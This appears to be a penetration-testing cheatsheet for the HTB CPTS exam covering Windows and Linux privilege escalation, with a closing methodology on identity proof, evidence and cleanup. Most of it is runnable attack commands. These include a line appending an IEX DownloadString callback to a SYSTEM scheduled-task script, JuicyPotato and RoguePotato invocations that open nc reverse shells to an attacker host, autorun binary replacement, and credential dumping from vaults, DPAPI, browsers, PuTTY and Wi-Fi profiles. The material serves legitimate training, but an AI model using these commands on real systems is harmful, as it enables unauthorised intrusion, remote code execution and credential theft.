[!warning] Watch out UAC is not a security boundary to Microsoft — bypasses are build-specific flaws, so check [environment]::OSVersion.Version and consult the UACMe table for a technique that matches. ConsentPromptBehaviorAdmin=0x5 rules out most registry-hijack techniques (they rely on default 0x2). RID-500 built-in Administrator always runs high-integrity regardless. CVE-2019-1388 (patched Nov 2019) is the GUI fallback on unpatched boxes: Run as admin a Microsoft-signed binary with a populated SpcSpAgencyInfo cert field (hhupd.exe) → Show publisher cert → click the Issued by hyperlink → a SYSTEM browser opens → Save As → type c:\windows\system32\cmd.exe → SYSTEM shell.

Scheduled-task script abuse

What to look for: a task set to Run As SYSTEM/a privileged account that invokes a script or binary in a folder my user can write to. Standard users can’t read C:\Windows\System32\Tasks, so lean on writable-folder discovery, not the task list.

schtasks /query /fo LIST /v                 # run-as acct, schedule, last result
Get-ScheduledTask | select TaskName,State
Import-Module .\PowerUp.ps1; Get-ModifiableScheduledTaskFile   # automated find
.\accesschk64.exe /accepteula -s -d C:\Scripts\               # RW BUILTIN\Users on a task's script dir?
# ── append a callback to the writable script → runs as the task's account on next fire ──
Add-Content C:\Scripts\db-backup.ps1 "`nIEX(New-Object Net.WebClient).DownloadString('http://$env:LHOST/r.ps1')"
# then wait for the schedule (hourly/daily), or trigger it if you can: schtasks /run /tn "<TaskName>"

[!tip] This is a plant-and-check-back technique — worth a dedicated writable-folder pass late in a multi-day engagement even when nothing fires immediately. Also cheap adjacent checks: Get-LocalUser (Description field) and Get-WmiObject Win32_OperatingSystem | select Description (computer description) occasionally leak creds outright — 15 - Scheduled Tasks, Description Fields & Mounting Disks. MITRE T1053.005.

Registry autorun (Win32_StartupCommand)

What to look for: an autorun binary launched at another user’s logon whose file — or the Run key itself — is writable by me. Distinct from the plaintext-AutoLogon reg query in the cred block above; this is the executable being hijackable.

Get-CimInstance Win32_StartupCommand | select Name,command,Location,User | fl
Import-Module .\PowerUp.ps1; Get-ModifiableRegistryAutoRun
:: writable autorun binary → replace it; or writable HKLM\...\Run → point it at my payload
copy /Y C:\Windows\Temp\payload.exe "C:\Path\To\autorun.exe"

[!note] Cross-reference the User column against local admins — an autorun that runs as a standard peer is worthless; one that runs at an admin’s logon is the win. HKLM Run entries fire for whoever logs on next.

Saved-cred deep sweep (Vault · DPAPI · PuTTY · KeePass · Sticky Notes · Wi-Fi)

What to look for: everywhere Windows and apps stash reusable secrets beyond the cmdkey/AutoLogon/PS-history basics above. Re-run this after every priv gain — profiles unreadable before become readable. One-pass looters: LaZagne (staged: LaZagne.exe (SHA-256 · GPG signature)) and SessionGopher. Full index: Stage 08 · 10 - Credential Hunting on Windows · 13 - Pillaging Windows Hosts.

:: ── Windows Credential Vault (web + generic creds, separate from cmdkey) ──
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
vaultcmd /listcreds:"Web Credentials" /all
:: ── PuTTY proxy creds sit in cleartext in HKCU ──
reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<name>    :: ProxyUsername / ProxyPassword
:: ── Wi-Fi PSKs (needs local admin) ──
netsh wlan show profile <ssid> key=clear
# ── DPAPI-protected material — decrypts transparently AS the originating user ──
$c = Import-Clixml C:\scripts\pass.xml; $c.GetNetworkCredential().Password   # PS credential object
.\SharpChrome.exe logins /unprotect                                          # browser saved logins
.\SharpDPAPI.exe triage                                                      # masterkeys + creds + vaults
gc "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Custom Dictionary.txt" | Select-String pass  # typed-in-wrong-field
# ── saved sessions across PuTTY/WinSCP/FileZilla/RDP ──
Import-Module .\SessionGopher.ps1; Invoke-SessionGopher -Thorough
# ── one-pass everything ──
.\LaZagne.exe all
# ── KeePass DB found → crack offline ──
keepass2john help_desk.kdbx > kp.hash
hashcat -m 13400 kp.hash rockyou.txt
# ── Sticky Notes: copy %LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqlite* ──
strings plum.sqlite-wal | grep -iE "pass|user"      # or: SELECT Text FROM Note (PSSQLite / DB Browser)

[!warning] Watch out DPAPI ties decryption to the originating user + machine — Import-Clixml, SharpChrome, and vault creds only decrypt when you run as that user (or have their DPAPI masterkey / the domain backup key). Don’t waste time trying to decrypt another user’s blob from your own context. unattend.xml / sysprep.xml (search C:\Windows\Panther, C:\Windows\System32\Sysprep) hold cleartext-or-Base64 AutoLogon creds and often survive image deployment.

GPP cpassword (SYSVOL) — the domain-wide freebie

What to look for: on a domain-joined host, once you can read SYSVOL (any authenticated user can) — Group Policy Preference XML (Groups.xml, Services.xml, ScheduledTasks.xml, DataSources.xml) with a cpassword attribute. Microsoft published the AES key, so it’s reversible, not cracked.

# ── over SMB from the attack box ──
nxc smb $DC -u "$U" -p "$P" -M gpp_password
# ── or manually: find the XML, decrypt ──
findstr /S /I cpassword \\$DOMAIN\sysvol\$DOMAIN\Policies\*.xml
gpp-decrypt <cpassword_blob>

[!note] This is really an AD-enumeration find but it lands often during a host privesc pass and frequently yields a reused local-admin password. Deep dives: 🟣 Attack · 🔴 Attack. Patched by MS14-025, but legacy Groups.xml files persist for years.

Potato selection matrix — pick by OS build, not by habit

What to look for: SeImpersonate (or SeAssignPrimaryToken) confirmed. All potatoes are the same SeImpersonate abuse — they differ only in how they coerce a SYSTEM component to authenticate to a listener. Check the build first: [environment]::OSVersion.Version / systeminfo. Deep dive: 🟣 Attack. Quick-reference requirement columns are in the §3 decision table above.

VariantCoercion mechanismUse whenFails when
JuicyPotatoDCOM/NTLM reflection (needs a working CLSID)Server ≤2016 / Win10 <1809dead on Server 2019+ / Win10 1809+ (DCOM path patched)
PrintSpooferPrint Spooler RPC (spoolss named pipe)Spooler running (any build incl. 2019/2022)Spooler disabled (post-PrintNightmare GPO)
RoguePotatoOXID resolver relayed via a redirector on 135Spooler disabled but you can stand up the OXID redirectoroutbound 135 blocked / no redirector
GodPotatoDCOM (RPC/DCOM, newer CLSID path)broadest — Server 2012→2022, Win8→11, no Spooler neededrare; try first if others fail
SweetPotato / DCOMPotatobundles several of the abovewant auto-fallback across methods—
:: JuicyPotato also covers SeAssignPrimaryToken via -t (tries CreateProcessWithTokenW AND CreateProcessAsUser):
JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t *
:: RoguePotato needs the socat/redirector: rogue OXID resolver reachable on 135
RoguePotato.exe -r %LHOST% -e "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -l 9999

[!warning] Watch out The potato binary itself is quiet; the loud part is the SYSTEM cmd/powershell spawned from w3wp.exe/sqlservr.exe (Event 4688) and the SeImpersonate/SeDebug grant tripping Event 4672. If a variant fails, it’s almost always the coercion vector missing (Spooler off, DCOM patched, 135 blocked) — not the privilege. GodPotato first, PrintSpoofer if Spooler’s up, RoguePotato when it isn’t, JuicyPotato only on legacy.



🧭 CPTS tips & pitfalls (both platforms)

  • Re-enumerate after every privilege gain. New group membership / new shell = new readable files, new sudo -l, new tokens. Most chains in HTB/CPTS are 2–3 hops (user → svc acct → root/SYSTEM), and each hop unlocks the next clue.
  • The enum script is a hint engine, not an answer. LinPEAS red/yellow findings are leads; verify by hand before burning an exploit. Conversely, don’t trust a clean auto-enum — it can’t see what perms hide (that’s what pspy and manual sudo -l/whoami /all catch).
  • Match payload architecture: uname -m before pspy32/pspy64; check installed .NET (reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release) before picking GodPotato-NET35 vs -NET4.
  • Interactive-shell assumptions break in CTF/service contexts: potatoes and sc work fine from xp_cmdshell/webshell contexts, but anything needing a window station (UAC GUI tricks, some runas) needs a real session.
  • Common time-wasters: chasing an unquoted service path you can’t restart, trying JuicyPotato on Server 2019+, compiling kernel exploits on Kali for a target with a different glibc, trying to decrypt another user’s DPAPI blob, planting a SUID shell on a nosuid mount.
  • Document as you go — every changed binpath, added user, dropped DLL, edited unit file is a report artifact and a cleanup item. See Stage 11.
  • Cron PATH vs shell PATH: cron jobs run with the PATH= line inside /etc/crontab (or the daemon default), not your interactive PATH — a writable dir only matters if it’s on that PATH and the job uses a relative binary name (§5/§A).
  • Capabilities beat file perms for stealth: nothing changes in ls -l; defenders auditing only SUID bits miss setcap binaries. Offensively: always run getcap -r / — defensively: it’s a finding worth reporting.
  • Potato hygiene: run the potato -cmd once with a payload (add-user / nc callback), not whoami — every execution spawns the loud SYSTEM child process (4688); make the first shot count.
  • Check /etc/exports on the target, showmount -e from outside — NFS exports visible externally aren’t always the ones you’re in scope to mount; and no_root_squash is the only flag that matters for privesc (§C).
  • Password reuse closes more chains than exploits do. Every cleartext find (history, unattend.xml, web.config, groups.xml) goes straight into the spray list for Stage 08/Stage 10.

[!example] Worked mini-chain (typical CPTS box) Web shell as www-data → sudo -l shows (backup) NOPASSWD: /usr/bin/tar → GTFOBins tar-sudo → shell as backup → backup is in disk group → debugfs reads /root/.ssh/id_rsa → ssh -i as root. Three hops, zero CVEs, all from the decision tables above.

[!success] Stage 9 exit checklist

  • sudo -l / whoami /priv + /groups answered, decision tables walked
  • Auto-enum (linpeas/winpeas + pspy) results triaged, RED findings verified manually
  • Cron/scheduled-task writable-path chains checked end-to-end (namei / accesschk on every component)
  • Capabilities (getcap -r /) and group memberships (id / whoami /groups) reviewed for the non-obvious ones (disk, adm, Event Log Readers, Hyper-V Administrators)
  • Every gained privilege re-looted (SSH keys, hives, creds — see Stage 08)
  • Kernel exploits only after misconfigs exhausted, with stability risk noted
  • Cleanup: revert binpaths/units/SDDLs, remove added users & MSI, delete planted DLLs/SUID shells/--checkpoint* files, restore ACLs/ownership, remove ServerLevelPluginDll
  • Artifacts + evidence documented for Stage 11

Build a complete escalation hypothesis

Write each candidate as current identity → controllable object/privilege → privileged consumer → reachable trigger → observed higher identity. This prevents a writable directory, interesting privilege or coloured PEAS finding from becoming an unsupported claim of root/SYSTEM.

LeadEvidence still neededGuide to use
Sudo permits csvtoolExact run-as/arguments and callback identitycsvtool
Disabled SeTcbPrivilegePresent in the actual token, compatible operation and child identityEnableAllTokenPrivs & TcbElevation
PsExec reaches SYSTEMExisting admin/service-control rightsPsExec
Writable Windows service binaryPrivileged StartName, executable path and trigger rightslinPEAS & winPEAS
Readable local credentialCorrect store context, service identity and accepted loginLaZagne
Writable NFS exportServer policy, identity mapping and server-side executionshowmount & mount
AD object-control edgeEffective ACE, current membership and required directory operationBloodyAD

Linux identity proof

id
whoami
cat /proc/self/status
findmnt -T /opt/lab/maintenance.sh
namei -l /opt/lab/maintenance.sh

Inspect real/effective UID and namespace/container context. Root inside a user namespace or container does not automatically mean root on the host. File permission claims must include the full parent path and target mount options.

Windows identity proof

whoami /all
[Environment]::Is64BitProcess
Get-CimInstance Win32_Service -Filter "Name='LabService'" |
  Select-Object Name,StartName,State,PathName
sc.exe sdshow LabService
icacls 'C:\Lab\Application\service.exe'

An administrator group membership can coexist with a filtered token. An enabled privilege is different from an elevated integrity level, and SYSTEM is a local identity. Capture the process token that performed the proof, not only the account named in a configuration file.

Prefer a short proof and preserve the original state

ChangeBefore-state evidenceCompletion check
Service ImagePath/startup binaryOriginal configuration, digest and ACLsRestore and confirm normal startup
File/DLL replacementOriginal bytes, owner, mode/ACL and pathRestore exact bytes and metadata
Sudo/cron/task contentOriginal text and scheduling identityRestore and inspect next normal run
Added account/group membershipOriginal membership and unique test nameRemove only introduced values
Password resetAccount owner and service dependenciesCoordinate rotation; original password is not recoverable by undoing ACLs

Use an identity command or a unique local marker that exits after proving execution. If the scenario needs a callback, verify its route separately; a missing callback cannot negate a successful local identity proof.

Separate host escalation from lateral movement

A recovered domain service password may enable another host without elevating the current process. A local root shell can read more local files without granting AD rights. Report each boundary crossed, then re-enumerate only the new context’s relevant permissions.

When a version-based exploit is the only remaining lead, compare the vendor advisory with the actual package/build and backported fixes. A suggested CVE from an enumeration script is a hypothesis until its vulnerable operation is demonstrated.

Finish with an evidence chain

Keep the initial identity, permission/configuration evidence, exact proof action, returned identity and restoration result. Note missing prerequisites and unsuccessful candidates so the next operator can continue without repeating them. Feed confirmed credentials into Stage 08 and validated remote access into Stage 10.


[!navigation] Continue the attack flow Previous: Stage 08 — Password Attacks and Credential Hunting

Dashboard: HTB Pentest Attack Flow

Next: Stage 10 — Lateral Movement, Pivoting, and Loot

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.